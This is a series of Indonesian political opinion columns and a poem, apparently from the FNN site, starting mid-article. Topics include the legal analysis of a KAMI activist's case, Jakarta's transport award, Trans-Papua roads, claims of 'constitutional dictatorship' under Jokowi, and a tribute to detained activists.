Menjadi saksi untuk tersangka siapa? Oleh karena tidak jelas, maka peristiwa “percobaan penangkapan” atau “ngobrol-ngobrol” beberapa waktu lalu di kantor Dr. Ahmad Yani beralasan untuk dipakai membuat kasus hipotesis. Yani menjadi saksi pada kasus ini. Perbuatan apa yang mengakibatkan Anton Permana ditetapkan jadi tersangka? Beritanya cukup beragam. Tidak ada penjelasan spesifik. Tetapi dari berita itu dapat dibuat hipotesis tentang kasusnya. Kasus hipotetiknya, Anton disuruh, atau mengambil sendiri atau diberikan pernyataan tertulis resmi KAMI dari personil KAMI, siapapun itu. Pernyataan itu dibuatkan narasi lalu dimuat di media elektronik, video atau apapun itu, miliknya. Setelah itu disebarkan. Begitulah kurang lebih kasus hipotetiknya. Bila dalam pemeriksaan atas dirinya atau saksi fakta lain, diperoleh fakta bahwa Yani mengetahuinya, pemanggilan ini beralasan. Kenyataan inilah yang dapat dipastikann diminta penyidik untuk diterangkan. Namun adakah saksi lain yang menerangkan hal yang sama? Setidaknya sebagiannya mirip? Bagaimana bila tidak ada, dan Yani punya alibi? Menarik. Bagaimana Juris memeriksa kasus hipotetik ini? Juris pasti memulai penalarannya dengan mengidentifikasi, mengorganisasikan, dan mengkategorisasi perbuatan itu, lalu memeriksa hukumnya. Ini sangat standar. Ini konsekuensi ajaran negara hukum, dan norma hukum selalu bersifat hipotetik. Tidak ada peristiwa, apapun itu, yang dapat dikualifikasi pidana, bila tak ada hukum positif mengkualifikasi peristiwa itu sebagai peristiwa pidana. Ingat itu baik-baik. Juris juga akan menginferensi kasus itu dengan cara mengajukan beberapa pertanyaan primer. Pertama, apakah pernyataan KAMI yang dibuatkan narasi, entah oleh Anton sendiri atau orang lain, sebagian atau seluruhnya melawan hukum? Lalu disebarkan oleh Anton? Kedua, siapa yang membuat pernyataan tertulis itu? Dan siapa yang menandatanganinya? Serta siapa yang menyebarkan pernyataan itu untuk pertama kalinya? Nalar serendah apapun, tidak mungkin menyatakan bahwa sifat melawan hukum atau kualitas pidana serta-merta disandang pada peristiwa penyebaran pernyataan KAMI itu, hanya karena media elektronik. Tidak begitu. Tidak ada nalar hukumnya. Isi, sekali lagi isi materi pernyataan pada media elektronik you tube atau instagram itulah penentu determinatif kualifikasi hukum atas peristiwa itu. Tidak lebih dari itu. Hanya Itu saja. Konsekuensinya isi pernyataan-di dalam you tube atau instagram itulah yang pertama-tama harus dianalisis hukumnya. Apa saja isi pernyataan tertulis KAMI itu? Apakah pernyataan itu berisi seruan kepada buruh untuk melakukan mogok nasional? Bagaimana hukumnya bila pernyataan itu tidak berisi seruan, melainkan menyatakan dukungan verbal kepada buruh yang akan melakukan mogok nasional? Apakah pemogokan benar-benar terjadi? Bila terjadi, apakah berskala nasional? Bagaimana bila pemogokan itu terjadi secara parsial? Diatas semua itu, apakah hukum positif mengekategorikan pemogokan nasional atau parsial sebagai peristiwa melawan hukum, dan sifatnya pidana? Hukum positif mengakui mogok sebagai hak dasar pekerja atau buruh. Itu sebabnya hukum positif memberi kategori atas mogok itu. Kategorinya mogok yang sah dan mogok yang tidak sah. Untuk mogok yang tidak sah, ditentukan syaratnya untuk dapat dikategorikan sebagai peristiwa pidana. Itulah esensi pasal 186 UU Nomor 13 Tahun 2003 Tentang Ketenagakerjaan. Pasal 186 ini menunjuk mogok pada pasal 137 dan 138 ayat (1) sebagai tindak pidana “sejauh” sekali lagi “sejauh” mogok itu tidak memenuhi keadaan-keadaan yang disyaratkan pada pasal 137 dan 138 itu. Hipotesiskan saja bahwa mogok itu benar-benar terjadi. Itu untuk sekadar menjaga nalar analisis. Dititik ini muncul masalah hukum sederhana yang sangat menarik. Masalahnya siapa yang mogok? Buruh atau pekerja? Siapa mereka, serta dimana peristiwa mogok itu? Bila ada buruh atau pekerja yang mogok, siapa tersangka dalam peristiwa mogok itu? Adakah itu? Bila ada, maka masalah melawan hukum pernyataan KAMI menjadi mudah dikonstruksi. Sebaliknya, bila tidak ada buruh atau pekerja yang ditersangkakan oleh penyidik, maka muncul soal hukum yang tidak sederhana. Mengapa? Untuk alasan apapun, kenyataan itu harus dianggap secara hukum pemogokan, sekalipun benar-benar terjadi, tidak dapat dikategori sebagai mogok yang tidak sah, yang memiliki kapasitas sebagai peristiwa pidana. Kenyataan itu menimbulkan konsekuensi yang sangat elementer. Apa konsekuensinya? Pertama, pernyataan tertulis KAMI tidak memiliki kapasitas sebagai pernyataan yang menyandang sifat melawan hukum. Apalagi melawan hukum pidana. Sekali lagi tidak. Kedua, karena pernyataan KAMI tidak memiliki kapasitas atau sifat melawan hukum, maka berlakulah prinsip “cesante causa cessat efectus” (dari penyebabnya, dapat ditetapkan akibatnya. Kalau penyebabnya berhenti, akibatnya juga berhenti). Oleh karena penyebabnya tidak melawan hukum, maka tindakan memberi dukungan itu, demi hukum, harus dianggap tidak melawan hukum. Karena tidak melawan hukum, maka isi pernyataan yang dinarasikan, lalu disebarkan secara elektronik itu, demi hukum tidak dapat dikualifikasi sebagai perbuatan melawan hukum. Begitu nalar hukum berbicara. Titik. Bisa Buntu Hipotesiskan saja pernyataan tertulis KAMI itu memiliki sifat melawan hukum. Apa konsekuensinya? Cukupkah Dr. Ahmad Yani seorang diminta keterangannya sebagai saksi? Jelas tidak, apapun alasannya. Tidak ada ilmu hukum pidana yang dapat dipakai untuk membenarkannya. Konsekuensinya? Pertama, keterangan Dr. Ahmad Yani akan jadi titik tolak pengembangan menuju saksi lain. Kemana arahnya? Pemeriksaan ini bisa saja berkerangka mencari dan menemukan tersangka baru. Begitu nalar normatifnya. Konsekuensi teknisnya? Penyidikan ini harus menemukan kenyataan-kenyataan berupa bagaimana pernyataan itu dirancang? Siapa konseptornya? Pernyataan KAMI itu dikonsep oleh seorang saja, atau dikonsepkan oleh beberapa orang? Setelah lebih dahulu dirapatkan dan diputuskan dalam rapat KAMI? Siapa saja yang bicara dalam rapat itu, dan siapa bicara apa? Semua harus dijadikan materi pemeriksaan. Kedua, siapa yang mengetiknya, siapa mengeditnya, hingga siapa yang menyodorkan pernyataan itu kepada presidium KAMI untuk ditandatangani. Bahkan siapa yang memfasilitasi press conference atau menyebarkan pernyataan itu ke media massa. Semuanya harus diperiksa. Sungguh menarik menganalisisnya dari sudut hukum. Terlihat jelas adanya masalah yang tak sederhana. Apa masalahnya? Sejauh ini tidak ada satu pun buruh atau pekerja yang ditersangkakan karena melakukan perbuatan mogok. Ini vocal pointnya. Tidak ada orang ditersangkakan atas perbuatan yang didukung, tetapi ada orang ditetapkan jadi tersangka karena memberi dukungan? Tidak ada perbuatan yang dikualifikasi pidana, dan tidak orang yang ditersangkakan, tetapi ada orang turut serta menjadi pelaku tindak pidana? Kecermatan profesional benar-benar harus bicara. Tetapi lupakan dulu keadilan, lupakan dulu prinsip minimum negara hukum, yang diputuskan pada International Commission of Juris dalam kongresnya di Athena, Yunani tahun 1968. Menurut Profesor Ismail Suny, salah satu sayarat esensial minimum Rule of Law yang diputuskan dalam kongres itu adalah keamanan pribadi harus dijamin. Profesor Suny menyatakan tak seorang pun dapat ditahan atau dipenjarakan tanpa satu keputusan hakim atau untuk maksud-maksud prefentif (Ismail Sunyi, 1981). Esensi syarat ini dilembagakan dalam KUHAP, dan belakangan dalam UUD 1945. Apabila rute ini ditempuh secara profesional, due process of law, maka kasus ini pasti, bahkan mutlak bergeser dari tindak pidana ITE, ke tindak pidana biasa. Konstruksi tentang pelaku dan turut serta berubah secara fundamental. Anggap saja eksponen KAMI kelak dituduh menghasut. Soal hukumnya, siapa yang dihasut? Untuk memastikan siapa yang dihasut, mau tidak mau, orang yang dihasut itu telah ditetapkan jadi tersangka. Suka atau tidak. Begitulah hukumnya. Siapa dia? Sejauh ini tidak tersaji fakta adanya buruh atau pekerja, atau siapapun itu yang ditetapkan menjadi tersangka, karena melakukan perbuatan yang diangap dihasut. Bila mogok dianggap sebagai hal yang dihasut, maka tanpa adanya tersangka karena pemogokan itu, demi hukum, harus dianggap hal yang dihasut tidak terjadi. Bagaimana bila dikerangkakan pada pasal 15 UU Nomor 1 Tahun 1946? Terlihat dari rumusannya, elemen penentu dalam pasal ini adalah kabar bohong dan keonaran. Pembaca FNN yang budiman. Mau kabar bohong sehebat apapun, tetapi kabar bohong itu tidak mengakibatkan hal yang dilarang yaitu keonaran, maka tidak ada tindak pidana. Keonaran adalah hal (keadaan) yang diakibatkan dari kabar bohong. Keonaran menjadi hal inti larangan. Kalau akibatnya tidak terjadi, maka tidak ada, sekali lagi, tidak ada tindak pidana. Apa hukumnya bila pernyataan itu dikualifikasi menyebarkan kebencian atau fitnah kepada individu, golongan masyarakat, suku atau agama? Menggunakan pendekatan “isolasionis” atau “pragmatic encrichment” atau “purposivstis” dalam ilmu interpretasi, yang dikenal sebagai pendekatan terlonggar sekalipun, tidak bisa. Mengapa? Terminologi menguntungkan buruh asing, atau oligarki misalnya, tidak dapat diberi kapasitas dan sifat kebencian. Mengapa? Sifat itu dihilangkan sendiri oleh UU Omnibus Cipta Kerja. Dari data tersaji UU itu dibicarakan sebagai UU yang akan mengakselerasi investasi. Investor, dimana pun, selalu dapat membawa tenaga kerjanya, terlepas dari expert atau tidak. Menggunakan pendekatan itupun, tidak dapat mengubah kata-kata tertulis KAMI tentang dukungan verbal itu sebagai kebencian. Termasuk tidak dapat mengubah pengertiannya menjadi kabar bohong, yang mengakibatkan terjadinya keonaran. Bisakah unjuk rasa diinterpretasi menjadi bentuk ekspresif kebencian? Bisakah unjuk rasa diinterpretasi menjadi keonaran? Tidak bisa. Hukum membenarkan unjuk rasa di negeri ini. Disisi lain, kenyataannya RUU Omnibus Cipta Kerja telah disahkan menjadi UU. Tindakan pengesahan, tidak dapat diinterpretasi, sekalipun dengan pendekatan terlonggar di atas, sehingga pengertiannya berubah dari disahkan menjadi tidak disahkan. Pembuat UU, DPR dan Presiden tidak bisa diinterpretasi menjadi satu golongan masyarakat atau individu. Benar-benar menghancurkan UUD 1945, bila pembuat UU diberi kapasitas dan sifat hukum sebagai satu golongan atau individu. Diatas semua itu, menarik memang menantikan ujung proses kasus ini. Bisa saja buntu. Namu bisa juga berkembang. Akankah penghentian penyidikan segera datang? Atau justru terus bergerak sampai ke pengadilan? Kalau pakai ilmu hukum positif, maka nampaknya penghentian penyidikan yang paling mungkin segera datang. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Anies Selamatkan Wajah Indonesia di Mata Dunia

by Tony Rosyid Jakarta FNN – Senin (02/11). Annoucement: Jakarta, Indonesia has won the 2021 Sustainable Transport Award! Congrutalations to the city for the exemplary achievement in public transportation, particularly with transjakarta. Begitu ungkap Institut For Transportation and Developnent Policy (ITDP) sebuah organisasi yang berbasis di New York. Jakarta oleh ITDP dinobatkan sebagai kota terbaik dunia untuk managemen transportasi. Jakarta menyabet juara pertama Sustainable Transport Award (STA). Ini untuk pertama kalinya negara di Asia Tenggara mampu menjuarai ajang STA. Tahun 2019 lalu, Jakarta hanya berada pada posisi runner up (nomor dua). Namun tahun 2020 ini Jakarta meraih juara pertama. Artinya apa? Ada progres perbaikan-perbaikan. Ini menunjukkan Jakarta terus mengalami perbaikan dan perkembangan dari hari ke hari. Atas penghargaan ini, Gubernur DKI Jakarta Anies Baswedan telah berhasil menyelamatkan wajah Indonesia di mata dunia internasional, kata Andi Arief, politisi Demokrat. Benar kata Andi, di tengah-tengah krisis ekonomi dan rusaknya demokrasi Indonesia di mata dunia, Anies berhasil membawa Jakarta sebagai kota terbaik dunia. Selamat ya Anies. Anda telah berhasil menyelamatkan wajah bangsa Indonesia di mata komunitas internasional. Begitu ucapan yang disampaikan sejumlah kalangan kepada Anies Baswedan, gubernur DKI Jakarta. “Alhamdulillah, ini untuk Pemprov DKI. Ini untuk warga Jakarta”, tegas Anies. Ada rasa syukur. Namun ada juga kerendahan hati. Anies sadar bahwa ini semua bukan semata-mata hasil kerja dirinya. Tetapi kolaborasi pegawai di Pemprov DKI bersama seluruh warga DKI. Sekali lagi, seluruh warga Jakarta. Tentu saja termasuk yang sering mendemo dan meminta Anies mundur. Bahkan Anies pun tak keberatan kalau prestasi ini lalu dikait-kaitkan dengan dua gubernur sebelumnya. Mungkinkah memperoleh predikat Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa Keuangan (BPK), dan tiga piala dari Komisi Pemberantasan Korupsi (KPK) dengan berbagai kategori akan juga diklaim oleh pihak-pihak sebelumnya menjabat Gubernur DKI? Memang di mata publik, terasa tak adil. Aapalagi kalau terkait kasus ratusan miliar untuk Rumah Sakit Sumber Waras, pembelian tanah Cingkareng, tanah BMW, hasil reklamasi, dan kasus mangkraknya ratusan bus transjakarta, Anies harus menghadapi dan menyelesaikannya sendirian. Seolah-olah tidak ada keterlibatan pihak-pihak sebelumnya. Tetapi jika menyangkut prestasi yang diraih DKI Jakarta, ada saja banyak pihak yang sepertinya tak rela. Bahkan ingin mengambil hak paten tersebut dari Anies. Oke saja, tak apalah. Itu bagian dari dinamika. Kembali soal transportasi, Jakarta dianggap sangat ambisius untuk membenahi transportasi kota, begitu komentar ITDP. Ini wajar mengingat Jakarta adalah kota yang secara turun-temurun macet ddan semrawut. Ini jadi PR prioritas yang harus segera diselesaikan. Melalui program Jaklingko, Anies berupaya mengurangi tingkat kemacetan. Langkah Anies cukup berhasil. Dengan program Jaklingko, pengguna transportasi umum naik signifikan. Dari 360 ribuan orang di tahun 2017, naik menjadi lebih dari 1 juta orang di tahun 2020. Jakarta yang sebelumnya menduduki peringkat empat besar kota termacet dunia, sekarang telah naik menjadi peringkat ke 10 (Tom Tom Traffic Index) Tak hanya Jaklingko. Pembangunan trotoar dan jalur bersepeda di jalan protokol juga bagian dari sinergi langkah Pemprov DKI untuk mengurangi kemacetan di Jakarta. Apalagi di masa pandemi corona, warga Jakarta yang beralih ke sepeda naik sepuluh kali lipat. Program Jaklingko tidak saja menyatukan seluruh moda transportasi Jakarta secara fisik. Tetapi juga persoalan biaya. Uang senilai Rp. 5.000 adalah biaya yang cukup murah, hemat dan ekonomis untuk ukuran kota metropolitan seperti Jakarta. Jadi teringat ucapan Anies, "saya tak akan jawab dengan kata-kata, tetapi saya akan jawab dengan kerja dan karya". Anies nampaknya berhasil membuktikan ucapannya itu. Warga Jakarta, juga rakyat Indonesia akan menunggu bukti-bukti berikutnya. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Memindahkan Papua Dari Bahu ke Mobil (Bagian-2)

by Luthfi Pattimura Jakarta FNN – Rabu (01/11). Kebijakan pengembangan wilayah dalam upaya memotong rentang kendali di Papua dimulai dengan pembagian wilayah administratif (funsional region). Itu sesuai amanat Undang-Undang Nomor 54 Tahun 1996 Tentang Pemekaran Provinsi Papua. Papua pun dibagi menjadi Papua, Papua Barat dan Papua Tengah. Sampai saat ini baru terealisasi penambahan 1 (satu) propinsi, yaitu Papua Barat. Padahal selain membagi Papua dalam tipologi, pembagian wilayah juga diikuti dengan kelahiran UU Nomor 21 Tahun 2001 tentang Otonomi Khusus untuk Papua. Lahirnya regulasi itu sebagai atribusi kebijakan merespons tuntutan perhatian pemerintah terhadap persoalan sosial ekonomi dan politik yang terjadi di Papua. Paling tidak, ada lima sasaran utamanya. Yakni pendidikan, kesehatan, pemberdayaan ekonomi, infrastruktur dan afirmasi. Berkaitan dengan pembangunan infrastruktur dinyatakan tegas dalam Pasal 33 ayat 3 huruf C, bahwa dana tambahan dalam rangka pelaksanaan otonomi khusus yang besarnya ditetapkan oleh pemerintah dan DPR didasarkan pada usulan provinsi pada setiap tahun anggaran. Dana tambahan itu terutama ditujukan untuk pembiayaan pembangunan infrastruktur. Selanjutnya pasal 33 ayat 3 huruf f menyebutkan, pembangunan infrastruktur dimaksudkan agar sekurang-kurangnya dalam dua puluh lima tahun seluruh kota-kota provinsi, kabupaten/kota, distrik atau pusat-pusat penduduk lainnya terhubungkan dengan transportasi darat, laut atau udara yang berkualitas. Dengan demikian, Papua sebagai salah satu provinsi di Indonesia dapat melakukan aktivitas ekonominya secara baik, serta menguntungkan sebagai bagian dari sistem perekonomian nasional dan global. Kita perlu memberikan apresiasi terhadap kerja keras atau boleh disebut kerja cerdas pemerintah dengan cap Nawacita. Ada empat agenda yang berkaitan langsung dengan tujuan pembangunan infrastruktur jalan yaitu agenda 3,5,6 dan 7. Agenda tiga, membangun Indonesia dari pinggiran dengan memperkuat daerah-daerah dan desa dalam kerangka negara kesatuan. Agenda lima meningkatkan kualitas hidup manusia Indonesia. Agenda enam meningkatkan produktivitas rakyat dan daya saing di pasar internasional, sehingga bangsa Indonesia bisa maju dan bangkit bersama bangsa-bangsa Asia lainnya. Agenda tujuh, mewujudkan kemandirian ekonomi dengan menggerakkan sektor-sektor strategis ekonomi domestik. Indikator capaian terhubungnya Propinsi Papua Barat dengan Propinsi Papua menjadi parameter output yang memastikan implementasi amanat Otsus tercapai. Lalu, apakah trans Papua efektif mendorong pergerakan arus orang. Juga pergerakan barang dan jasa sebagai penggerak utama (prime mover) terhadap multiplier effect yang akan dinikmati oleh penduduk Papua? Perlu dicermati. Keberadaan jalan pastilah dinikmati penduduk, terutama yang selama ini terisolasi. Setidaknya, waktu perjalanan bisa lebih cepat. Biaya angkut lebih murah. Volume angkut bertambah, dan akan berujung pada penungkatan mobilitas. Itu berarti, pembangunan jalan seharusnya mampu menjawab pertanyaan esensialnya. Jalan di bangun untuk apa dan bagi siapa? Indikator keberhasilan pembangunan jalan tidaklah cukup diukur dengan output melalui tersedianya atau terbangunnya jalan (performance indicator). Tetapi, seharusnya pada apakah jalan itu memberikan manfaat bagi masyarakat pengguna? Memberi dampak terhadap persoalan pembangunan manusia, terutama kesejahteraan (substantive goals). Laba jangka panjang dari sebuah investasi pemerintah. Trans-Papua Jumlah pengguna jalan di dalam Negara Kesatuan Republik Indonesia (NKRI) mungkin sudah lebih dari cukup. Tetapi bagaimana rasanya menggunakan jalan bagi mereka yang berada di pegunungan Papua? Yang membikin Janiver Manalu terenyuh? Dengan mencoba mengurai pertanyaan semacam itu, maka kita bersepakat bahwa jalan merupakan salah satu prasarana yang vital. Jalan sebagai upaya meningkatkan pembangunan wilayah dan memperbaiki kesejahteraan rakyat. Tersedianya jaringan jalan dengan kuantitas dan kualitas yang memadai. Bibangun pada lokasi yang tepat, akan mampu meningkatkan aksesibilitas penduduk di wilayah yang bersangkutan terhadap prasarana dan sarana dasar, sosial, dan ekonomi yang dibutuhkan. Anak-anak genereasi pewaris masa depan bisa bersekolah dengan baik. Terutama orang tua mereka dapat bekerja untuk memenuhi kebutuhan keluarga. Apabila sakit, penduduk dapat dengan mudah menjangkau fasilitas dan layanan kesehatan yang tersedia. Maka, aksesibilitas yang baik, akan mengurangi biaya transportasi. Sehingga produk-produk yang dihasilkan penduduk perdesaan, khususnya komoditas pertanian memiliki daya saing yang cukup baik. Sebaliknya, keterbatasan jaringan jalan akan menyebabkan keterisolasian. Sehingga menghambat penduduk untuk keluar dari berbagai persoalan pembangunan, seperti rendahnya tingkat pendidikan dan kesehatan serta tingginya kemiskinan. Kalau boleh kami bercerita lagi. Gambaran teknis dari cerita Janiver juga kami dengar dari Ir. Osman H Marbun M.MT. yang menjabat Kepala Balai Besar Pelaksanaan Jalan Nasional (BBPJN) XVIII-Direktorat Jenderal (Ditjen) Bina Marga-Kementerian Pekerjaan Umum dan Parumahan Rakyat (PUPR), tentang Trans-Papua. “Rencana pembangunan jalan Trans-Papua termasuk Papua Barat, yang panjangnya 4.330 kilometer (km), sudah 95% selesai. Tinggal 154 kilometer lagi di tahun 2019 kita tangani. Itu berada di 10 segmen untuk Papua, dan dua segmen di Papua Barat,” jelas Osman. Suatu sore sepulang ngobrol dengan Omah Laduani Lasamai, Kepala Badan Litbang Provinsi Papua, kami duduk ngemper di lantai teras hotel. Terngiang pernyataannya, bahwa, infrastruktur di Papua adalah yang harus berbasis kearifan lokal. Baik alam maupun sosial budaya. “Kebutuhan paling mendesak orang Papua saat ini adalah kemandirian dan kesejahteraan. Jadi, masalah yang harus lebih didalami adalah kesejahteraan yang bisa didapat dari menggarap potensi kearifan lokal.” Pernyataan Laduani seperti menepuk bahu kami yang memikul pernyataan Kuahaty bahwa, infrastruktur jalan di Papua secara sempit musti memprioritaskan komunitas dan komuditas. Bahkan kini saatnya orang Papua memindahkan komuditas dari bahu ke mobil. Karena secara luas, kita masih melihat wilayah-wilayah dengan jaringan jalan yang terbatas. Ditandai dengan kondisi permukaan jalan yang buruk. Jembatan yang sempit, atau banyak belokan tajam, dan curam. Inilah bukti bahwa gagasan dan praktek memang kadang memiliki tenaga dan keterbatasan sendiri-sendiri. (bersambung).

“Diktator” Konstitusional?

by Zainal Bintang Jakarta FNN – Ahad (01/11). Tahun pertama pemerintahan jilid kedua Jokowi yang bersama-Maruf Amin dapat dikatakan terperangkap. Masuk ke dalam dua masalah yang sangat serius. Pertama, kasus Pandemi 19 yang melumpuhkan roda ekonomi dan berdampak kepada ekonomi masyarakat sejak sembilan bulan yang lalu, dan sampai sekarang masih sempoyongan. Kedua, adanya penolakan besar-besaran kalangan buruh, mahasiswa yang melibatkan pelajar dan masyarakat pada umumnya, terhadap persetujuan UU Cipta Kerja (Cilaka) dengan format Omnibus, di mana 76 UU eksisting diperas menjadi satu UU yang banyak diistilahkan sebagai UU sapujagat… Upaya pemerintah mengendalikan unjuk rasa penentang UU Cipta Kerja dianggap oleh banyak kalangan berlebihan. Bahkan disebut represif. Kebebasan berpendapat masyarakat yang disediakan konstitusi malah dibungkam dengan tindakan kekerasan aparat kepolisian di lapangan. Kenyataan ini mencuatkan fenomena kontroversi diantara ekspresi dengan represi. Konflik terbuka masyarakat sipil dengan negara telah mendorong dilakukan diskursus untuk menyoal kembali kualitas demokrasi. Muncul penilaian demokrasi mengalami kemunduran (democratic backsliding). Sebator Jimly Asshidiqie menyebut tindakan pemerintah di dalam mengelola demokrasi menunjukkan gejala “diktator” konstitusional. “Berbagai kebijakan yang dibuat pemerintah bersama dengan DPR menunjukkan gejala “diktator” konstitusional. Walaupun ada proses demokrasi formal, proses pembuatan kebijakan dilakukan tanpa melibatkan publik”, kata pakar hukum tata negara itu saat berbicara di dalam salah satu acara diskusi. Jimly menunjuk 5 UU yang dibentuk pemerintahan Presiden Jokowi seperti UU Mahkamah Konsitusi, UU KPK, UU Minerba, UU Penanganan Covid-19, dan Omnibus Law UU Cipta Kerja. “Ada situasi dimana proses demokrasi dibajak selama era pandemi ini. Perundang-undangan dibuat tanpa pelibatan publik. Yang penting mengikuti syarat formal, dimana hal terpenting adalah DPR sudah menyetujui. Masyarakat pun saat ini terbelah menjadi dua kelompok yaitu “haters” dan “lovers”. Ini bisa merusak demokrasi ke depan, ujarnya. Anehnya, Presiden Jokowi sadar mengakui persetujuan DPR atas RUU Cipta Kerja menjadi UU pada 5 Oktober 2020 lalu tidak memuaskan semua pihak. Jokowi pun meminta kepada mereka yang menolak isi UU Cipta Kerja untuk menggugat ke Mahkamah Konstitusi (MK). "Jika masih ada ketidakpuasan terhadap UU Cipta Kerja, silakan mengajukan uji materi atau Judicial Review (JR) melalui Mahkamah Konstitusi". Menurut Jokowi pemerintah meyakini UU Cipta Kerja adalah solusi Indonesia dalam masalah kebutuhan penyerapan tenaga kerja. Intensitas langkah Presiden mendorong kasus UU Cipta Kerja, maupun atas beberapa UU sebelumnya agar digugat melalui jalur konstitusional di MK, merupakan gejala politik baru di dalam kehidupan konstitusionalisasi atau juristocracy menjadi hal yang menarik untuk ditelisik. Sebagai inisiator UU, pemerintah selaku eksekutif kelihatannya lebih memilih menghindar berhadapan dengan publik (masyarakat sipil) penolak UU itu. Sebagai eksekutif, pemerintah sejak sejak awal memilih mendorong legislatif (DPR) tampil berhadapan di front terdepan pertama dengan publik. Setelahnya, melemparnya lagi ke pangkuan yudikatif (MK). Pihak eksekutif cenderung maunya terima bersih alias dalam keadaan welldone atau siap saji. Nampaknya telah terjadi disharmonisasi mekanisme trias politica sesuai teori Montesquieu tentang pemisahan kekuasaan yang tercederai dan berjalan pincang. Karena nyaris seluruh beban perubahan kebijakan politik melalui jalur konstitusionalisasi lebih banyak ada pada legislatif dan yudikatif. Ilmuwan politik Kanada dari Universitas Toronto, Ran Hirschl dalam bukunya “Towards Juristocracy” : “The Origin Consequences of The New Constitutionalisme”, mengatakan “Konstitusionalisme Baru” di negara-negara dan entitas supranasional di seluruh dunia, reformasi konstitusional telah mengalihkan kekuasaan dalam jumlah yang belum pernah terjadi sebelumnya dari lembaga perwakilan ke lembaga peradilan. Konstitusionalisasi hak dan pembentukan peninjauan kembali secara luas diyakini memiliki asal-muasal yang baik dan progresif. Juga konsekuensi penyebaran kekuasaan yang signifikan, yang disebut "Menuju Juristokrasi" menantang kebijaksanaan konvensional ini. Berdasarkan penyelidikan komparatif yang komprehensif tentang asal-usul politik dan konsekuensi yurisprudensial dari revolusi konstitusional baru-baru ini di Kanada, Israel, Selandia Baru, dan Afrika Selatan, bukunya itu (2004), menunjukkan bahwa tren ke arah konstitusionalisasi hampir tidak didorong oleh komitmen tulus politisi terhadap demokrasi, sosial, keadilan, atau hak universal. Profesor ilmu politik dan hukum dalam bukunya itu, menunjukkan bahwa meskipun konstitusionalisasi hak dapat mendorong keadilan prosedural dan kebebasan negatif, hal itu tidak banyak membantu untuk memajukan gagasan progresif tentang keadilan distributif. Pada saat yang sama, pemberdayaan peradilan melalui konstitusionalisasi berdampak transformatif pada wacana politik. Oleh karena itu, dari identitas kolektif yang mendasar dan masalah pembangunan bangsa hingga keadilan restoratif dan kontroversi perubahan rezim, pengadilan konstitusional telah menjadi forum penting untuk menangani pertanyaan paling mendasar yang dapat direnungkan oleh pemerintahan demokratis. Ditegaskannya, agaknya yang paling baik dipahami, sebagai produk dari interaksi strategis antara lain. Pertama, elit politik yang hegemonik namun terancam. Kedua, pemangku kepentingan ekonomi yang kuat. Ketiga, pemimpin peradilan, koalisi tripartit yang mementingkan diri sendiri ini menentukan waktu, jangkauan, dan sifat reformasi konstitusi. Yang banyak disorot oleh para pakar konstitusi adanya langkah pragmatis yang diambil Presiden Jokowi dengan memanfaatkan semangat “juristocracy” dari rahim “konstitusionalisasi baru”, sebagai pintu keluar dari tanggung jawab atas sebuah proses legislasi. Karena mendapatkan penolakan keras dari publik, khususnya yang saat ini lagi memanas terkait dengan UU Cipta Kerja, Presiden memilih masalah itu diselesaikan melalui proses uji materi di Mahkamah Konstitusi (MK). Presiden memilih menumpang di jalan tol konstitusionalisasi yang terbuka sebagai hasil amandemen UUD 1945, yang menghadirkan lembaga MK sebagai pemutus sahih setelah dipisahkan dari Mahkamah Agung (MA. Presiden menghindar menggunakan mekanisme penyeleseian melalui kekuasaan politik eksekutif dengan menarik UU itu melalui instrumen Perppu ataukah jalur executive review. Ada kesan pemerintah secara sadar menghindari perbenturan langsung dengan protes publik untuk menjaga citra populis yang selama ini menjadi andalan untuk mememelihara legitimasi elektoral. Unsur subjektifitas yang melekat sebagai eksekutif pada diri Presiden selaku inisiator diyakini akan mengurangi bobot objektifitas. Kondisi itu manakala kemenangan pemerintah melawan protes publik melalui jalur executive review, pastilah tidak terhindarkan. Hal mana mengandung resiko menggerus populeritas Presiden. Menambah lebarnya luka psikologis yang sudah tertoreh yang timbul dari rangkaian proses UU terdahulu yang minus partisipasi publik. Jokowi terlihat sangat menyadari adanya potensi ancamandefisit citra itu. Fungsi dan peran MK sadar atau tidak berubah menjadi benteng perlindungan kekuasaan eksekutif. Ini resiko guna menghindarkan terjadinya benturan head to head antara Presiden dengan masyarakat sipil. Soalnya, melalui otoritas MK yang premis major sebagai lembaga independen, masyarakat akan dapat lebih mudah menerima putusan pengadilan. Putusan MK bersifat erga omne atau berlaku untuk semua sejak putusan dibacakan oleh hakim MK. Jelas ini adalah sebuah strategi yang dirancang pihak eksekutif untuk memenangi sengketa hukum yang sarat muatan politis dan karenanya cara-cara tersebut berbau “diktator” konstitusional terselubung. Oleh karenanya pula, tidak ada yang salah bila ada suara miring dari ranah publik yang mengaitkannya dengan revisi UU MK yang konon tanpa sebab musabab itu. Karena bagaimanapun kasus itu tetap tidak bisa menghapus kesan adanya injeksi keuntungan substansif kepada lembaga itu. Dan, untuk kesekian kalinya masyarakat Indonesia mendapatkan tontonan yang oleh banyak kalangan dikritisi sebagai sinteron “badut politik” gratis yang bergerak di dalam pusaran skenario “politik lari berputar”, yang bertujuan untuk menyamarkan “siapa yang mengejar siapa”. Penulis adalah Wartawan Senior & Pemerhati Masalah Sosial Budaya.

Kepada Sahabat Syahganda Nainggolan & Djumhur Hidayat

by Andi Rahmat Warna putih rambutmu, sahabatBukan bendera penyerahanLapis kerut dahimu, sahabatBukan tanda kelelahan Putih rambutmu, sahabatMengurai oanjang sejarah tegarPancaroba yang tidak meninggalkan jejak surutDalam setiap musimnyaSelalu saja menumbuh-merbakkan kuntum-kuntum seroja Lapis kerut dahimu, sahabatDalam terpahat di relung-relung nusantaraCinta yang tidak pernah matiYang menemani siang malammuDan aksara yang terus mengaliri tanah kitaMenumbuhkan, membiakkan dan merawatWarisan yang ditinggalkan moyang kita Kita mungkin berdiri diatas rentang yang berjarakTapi tanah yang kita pijak tidak pernah terputusLangit kita tetap membiruTerus melukis mimpi yang tidak henti kita kejarApa yang menyatu tidak akan pecahDalam jiwa yang bertaut, sahabatSelalu ada muara yang sama Kukatakan padamu, sahabatTetaplah berdiri tegakPutih rambutmu dan kerut dahimuAdalah matahari yang tidak pernah lelah terbit… Penulis adalah Mantan Aktivis '98

Adzab Untuk Penguasa Yang Sukses Infrastruktur

